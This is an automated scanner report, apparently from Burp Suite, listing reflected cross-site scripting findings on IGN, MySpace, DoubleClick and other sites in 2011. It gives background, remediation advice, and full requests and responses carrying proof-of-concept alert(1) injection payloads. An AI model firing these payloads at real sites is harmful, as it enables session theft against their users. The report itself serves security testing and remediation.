http://wii.ign.com/index/images.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/images.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/latest-updates.html [types parameter]
http://wii.ign.com/index/latest-updates.html [types parameter]
http://wii.ign.com/index/latest-updates.html [types parameter]
http://wii.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/objects/088/088878.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/objects/088/088878.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/objects/872/872155.html [name of an arbitrarily supplied request parameter]
http://wii.ign.com/objects/872/872155.html [name of an arbitrarily supplied request parameter]
http://wireless.ign.com/ [name of an arbitrarily supplied request parameter]
http://wireless.ign.com/ [name of an arbitrarily supplied request parameter]
http://wireless.ign.com/articles/106/1063222p1.html [name of an arbitrarily supplied request parameter]
http://wireless.ign.com/articles/106/1063222p1.html [name of an arbitrarily supplied request parameter]
http://wireless.ign.com/articles/114/1140704p1.html [name of an arbitrarily supplied request parameter]
http://wireless.ign.com/articles/114/1140704p1.html [name of an arbitrarily supplied request parameter]
http://wireless.ign.com/objects/038/038020.html [name of an arbitrarily supplied request parameter]
http://wireless.ign.com/objects/038/038020.html [name of an arbitrarily supplied request parameter]
http://wireless.ign.com/objects/097/097174.html [name of an arbitrarily supplied request parameter]
http://wireless.ign.com/objects/097/097174.html [name of an arbitrarily supplied request parameter]
http://wrapper.giga.de/a [channel_name_override parameter]
http://wrapper.giga.de/a [contentTitle parameter]
http://wrapper.giga.de/a [name of an arbitrarily supplied request parameter]
http://wrapper.giga.de/a [pagetype parameter]
http://wrapper.ign.com/a [name of an arbitrarily supplied request parameter]
http://wrapper.ign.com/a [pagetype parameter]
http://www.battlefieldheroes.com/favicon.ico [REST URL parameter 1]
http://www.battlefieldheroes.com/frontpage/landingPage [REST URL parameter 1]
http://www.battlefieldheroes.com/frontpage/landingPage [REST URL parameter 2]
http://www.battlefieldheroes.com/frontpage/landingPage [name of an arbitrarily supplied request parameter]
http://www.cheatscodesguides.com/ [name of an arbitrarily supplied request parameter]
http://www.cheatscodesguides.com/ [name of an arbitrarily supplied request parameter]
http://www.collegehumor.com/cutecollegegirl [REST URL parameter 1]
http://www.collegehumor.com/cutecollegegirl [name of an arbitrarily supplied request parameter]
http://www.collegehumor.com/etc/load_ad.php [REST URL parameter 1]
http://www.collegehumor.com/etc/load_ad.php [REST URL parameter 2]
http://www.collegehumor.com/favicon.ico [REST URL parameter 1]
http://www.collegehumor.com/xd_receiver.htm [REST URL parameter 1]
http://www.gamespy.com/ [name of an arbitrarily supplied request parameter]
http://www.gamespy.com/ [name of an arbitrarily supplied request parameter]
http://www.gamestats.com/ [name of an arbitrarily supplied request parameter]
http://www.gamestats.com/ [name of an arbitrarily supplied request parameter]
http://www.giga.de/ [name of an arbitrarily supplied request parameter]
http://www.ign.com/ [name of an arbitrarily supplied request parameter]
http://www.ign.com/ [name of an arbitrarily supplied request parameter]
http://www.ign.com/_views/ign/ign_tinc_headlines.ftl [hub parameter]
http://www.ign.com/_views/ign/ign_tinc_headlines.ftl [locale parameter]
http://www.ign.com/_views/ign/ign_tinc_headlines.ftl [locale parameter]
http://www.ign.com/_views/ign/ign_tinc_headlines.ftl [location parameter]
http://www.ign.com/all-game-platforms.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/all-game-platforms.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/blogs/GrumpyBalloon/ [REST URL parameter 2]
http://www.ign.com/blogs/bromley-ign/2011/02/04/blog-header-contest [REST URL parameter 2]
http://www.ign.com/blogs/bromley-ign/2011/02/04/blog-header-contest [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/features.html [locale parameter]
http://www.ign.com/index/features.html [locale parameter]
http://www.ign.com/index/features.html [locale parameter]
http://www.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/podcasts.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/release.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/release.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/news-tips.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/news-tips.html [name of an arbitrarily supplied request parameter]
http://www.ign.com/videogame-villains/ [name of an arbitrarily supplied request parameter]
http://www.ign.com/videogame-villains/ [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [REST URL parameter 2]
http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [REST URL parameter 3]
http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [REST URL parameter 4]
http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [REST URL parameter 5]
http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [objectid parameter]
http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [objectid parameter]
http://www.ign.com/videos/2011/01/19/gt-academy-promotion [REST URL parameter 5]
http://www.ign.com/videos/2011/01/19/gt-academy-promotion [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/19/gt-academy-promotion [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer [REST URL parameter 5]
http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer [objectid parameter]
http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer [objectid parameter]
http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video [REST URL parameter 5]
http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video [objectid parameter]
http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video [objectid parameter]
http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailer [REST URL parameter 5]
http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailer [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailer [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailer [objectid parameter]
http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailer [objectid parameter]
http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711 [REST URL parameter 2]
http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711 [REST URL parameter 3]
http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711 [REST URL parameter 4]
http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711 [REST URL parameter 5]
http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711 [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/27/ign-daily-fix-012711 [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811 [REST URL parameter 2]
http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811 [REST URL parameter 3]
http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811 [REST URL parameter 4]
http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811 [REST URL parameter 5]
http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811 [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811 [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111 [REST URL parameter 2]
http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111 [REST URL parameter 3]
http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111 [REST URL parameter 4]
http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111 [REST URL parameter 5]
http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111 [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111 [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/31/killzone-in-5-minutes [REST URL parameter 5]
http://www.ign.com/videos/2011/01/31/killzone-in-5-minutes [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/31/killzone-in-5-minutes [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/01/31/killzone-in-5-minutes [objectid parameter]
http://www.ign.com/videos/2011/01/31/killzone-in-5-minutes [objectid parameter]
http://www.ign.com/videos/2011/02/03/killzone-3-video-review [REST URL parameter 5]
http://www.ign.com/videos/2011/02/03/killzone-3-video-review [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/02/03/killzone-3-video-review [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/02/03/killzone-3-video-review [objectid parameter]
http://www.ign.com/videos/2011/02/03/killzone-3-video-review [objectid parameter]
http://www.ign.com/videos/2011/02/04/confession-series-trailer [REST URL parameter 5]
http://www.ign.com/videos/2011/02/04/confession-series-trailer [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/02/04/confession-series-trailer [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411 [REST URL parameter 2]
http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411 [REST URL parameter 3]
http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411 [REST URL parameter 4]
http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411 [REST URL parameter 5]
http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411 [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/02/04/ign-daily-fix-020411 [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411 [REST URL parameter 2]
http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411 [REST URL parameter 3]
http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411 [REST URL parameter 4]
http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411 [REST URL parameter 5]
http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411 [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/02/04/ign-weekly-wood-020411 [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/02/04/madden-nfl-11-super-bowl-simulation [REST URL parameter 5]
http://www.ign.com/videos/2011/02/04/madden-nfl-11-super-bowl-simulation [name of an arbitrarily supplied request parameter]
http://www.ign.com/videos/2011/02/04/madden-nfl-11-super-bowl-simulation [name of an arbitrarily supplied request parameter]
http://www.shmoop.com/news/2010/09/21/famous-quotes-translated-lolcat/ [REST URL parameter 5]
http://www.shmoop.com/news/wp-includes/js/jquery/jquery.js [REST URL parameter 2]
http://www.shmoop.com/news/wp-includes/js/jquery/jquery.js [REST URL parameter 3]
http://www.shmoop.com/news/wp-includes/js/jquery/jquery.js [REST URL parameter 4]
http://www.shmoop.com/news/wp-includes/js/jquery/jquery.js [REST URL parameter 5]
http://www.thunderguy.com/semicolon/. [REST URL parameter 1]
http://www2.glam.com/app/site/affiliate/viewChannelModule.act [adSize parameter]
http://www2.glam.com/app/site/affiliate/viewChannelModule.act [zone parameter]
http://www35.glam.com/gad/glamadapt_jsrv.act [;flg parameter]
http://www35.glam.com/gad/glamadapt_jsrv.act [ga_adsrv parameter]
http://www35.glam.com/gad/glamadapt_jsrv.act [ga_adsrv parameter]
http://www35.glam.com/gad/glamadapt_jsrv.act [name of an arbitrarily supplied request parameter]
http://www35.glam.com/gad/glamadapt_jsrv.act [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/ [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/ [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1140235p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1140235p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1140284p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1140284p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1140518p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1140518p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1146752p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1146752p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1147539p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1147539p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1147619p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1147619p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1147697p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1147697p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1147733p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1147733p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1147803p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1147803p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1147942p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1147942p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148006p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148006p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148025c.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148025c.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148025p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148025p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148045c.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148045c.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148045p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148045p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148058c.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148058c.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148058p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/articles/114/1148058p1.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/features.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/images.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/images.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/latest-updates.html [types parameter]
http://xbox360.ign.com/index/latest-updates.html [types parameter]
http://xbox360.ign.com/index/latest-updates.html [types parameter]
http://xbox360.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/news.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/previews.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/index/videos.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/055/055051.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/055/055051.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/064/064330.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/064/064330.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/070/070921.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/070/070921.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/077/077644.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/077/077644.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/077/077723.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/077/077723.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/080/080342.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/080/080342.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/142/14221217.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/142/14221217.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/142/14235014.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/142/14235014.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/142/14293266.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/142/14293266.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/143/14304771.html [name of an arbitrarily supplied request parameter]
http://xbox360.ign.com/objects/143/14304771.html [name of an arbitrarily supplied request parameter]
http://xboxlive.ign.com/ [name of an arbitrarily supplied request parameter]
http://xboxlive.ign.com/ [name of an arbitrarily supplied request parameter]
http://xboxlive.ign.com/articles/113/1134848p1.html [name of an arbitrarily supplied request parameter]
http://xboxlive.ign.com/articles/113/1134848p1.html [name of an arbitrarily supplied request parameter]
http://xboxlive.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
http://xboxlive.ign.com/index/games.html [name of an arbitrarily supplied request parameter]
http://xboxlive.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://xboxlive.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter]
http://api.myspace.com/-/opensearch/extensions/1.0/ [Referer HTTP header]
http://support.igninsider.com/ics/support/default.asp [Referer HTTP header]
http://wrapper.giga.de/a [Referer HTTP header]
http://wrapper.ign.com/a [Referer HTTP header]
http://myspace.com/ [name of an arbitrarily supplied request parameter]
http://optimized-by.rubiconproject.com/a/8276/13378/25879-2.js [ruid cookie]
http://s50.sitemeter.com/js/counter.js [IP cookie]
http://searchservice.myspace.com/index.cfm [d parameter]
http://searchservice.myspace.com/index.cfm [fuseaction parameter]
http://searchservice.myspace.com/index.cfm [g parameter]
http://searchservice.myspace.com/index.cfm [loc parameter]
http://searchservice.myspace.com/index.cfm [maxAge parameter]
http://searchservice.myspace.com/index.cfm [minAge parameter]
http://searchservice.myspace.com/index.cfm [name of an arbitrarily supplied request parameter]
http://searchservice.myspace.com/index.cfm [npic parameter]
http://searchservice.myspace.com/index.cfm [pg parameter]
http://searchservice.myspace.com/index.cfm [qry parameter]
http://searchservice.myspace.com/index.cfm [type parameter]
http://tag.admeld.com/ad/iframe/177/ignus/300x250/ign_front [meld_sess cookie]
http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us [meld_sess cookie]
http://tag.admeld.com/ad/iframe/185/thechive_sites/160x600/thechive_us [meld_sess cookie]
http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us [meld_sess cookie]
http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us [meld_sess cookie]
http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us [meld_sess cookie]
http://tag.admeld.com/ad/iframe/185/thechive_sites/728x90/thechive_us [meld_sess cookie]
http://tag.admeld.com/ad/json/100/glamtoptier/160x600/420105803 [meld_sess cookie]
http://tag.admeld.com/ad/json/100/glamtoptier/300x250/420105803 [meld_sess cookie]
http://tag.admeld.com/ad/json/100/glamtoptier/728x90/420105803 [meld_sess cookie]
http://www2.glam.com/app/site/affiliate/viewChannelModule.act [glam_bt cookie]
http://www2.glam.com/app/site/affiliate/viewChannelModule.act [glam_sid cookie]
http://www2.glam.com/app/site/affiliate/viewChannelModule.act [qcsegs cookie]
http://www35.glam.com/gad/glamadapt_jsrv.act [glam_sid cookie]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

3.1. http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [mt_adid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5196269.16

Issue detail

The value of the mt_adid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ecb9a'-alert(1)-'9f8b5bd9678 was submitted in the mt_adid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5196269.16;sz=300x250;click1=http://pixel.mathtag.com/click/img?mt_aid=115062657883708758&mt_id=108209&mt_adid=100293ecb9a'-alert(1)-'9f8b5bd9678&redirect=;ord=115062657883708758? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045626926&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:19 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5832

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
3Bh%3Dv8/3aa7/f/7e/%2a/l%3B235303334%3B0-0%3B0%3B59104090%3B4307-300/250%3B40362855/40380642/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=115062657883708758&mt_id=108209&mt_adid=100293ecb9a'-alert(1)-'9f8b5bd9678&redirect=http%3a%2f%2fclk.redcated/GRK/go/296095966/direct/01/\">
...[SNIP]...

3.2. http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [mt_adid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5196269.16

Issue detail

The value of the mt_adid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ea05f"-alert(1)-"d7405e6c27 was submitted in the mt_adid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4881.mmath/B5196269.16;sz=300x250;click1=http://pixel.mathtag.com/click/img?mt_aid=115062657883708758&mt_id=108209&mt_adid=100293ea05f"-alert(1)-"d7405e6c27&redirect=;ord=115062657883708758? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/185/thechive_sites/300x250/thechive_us?t=1297045626926&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fthechive.com%2F%3F45f7b%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253Ed3d5acd1ad9%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Mon, 07 Feb 2011 02:27:15 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5828

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
3Bh%3Dv8/3aa7/f/7d/%2a/l%3B235303334%3B0-0%3B0%3B59104090%3B4307-300/250%3B40362855/40380642/1%3B%3B%7Esscs%3D%3fhttp://pixel.mathtag.com/click/img?mt_aid=115062657883708758&mt_id=108209&mt_adid=100293ea05f"-alert(1)-"d7405e6c27&redirect=http%3a%2f%2fclk.redcated/GRK/go/296095966/direct/01/");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var
...[SNIP]...

3.3. http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [mt_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4881.mmath/B5196269.16

Issue detail

The value of the mt_id request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2b345"-alert(1)-"d5c45be131d was submitted in the mt_id parameter. This input was echoed unmodified in the application's response.

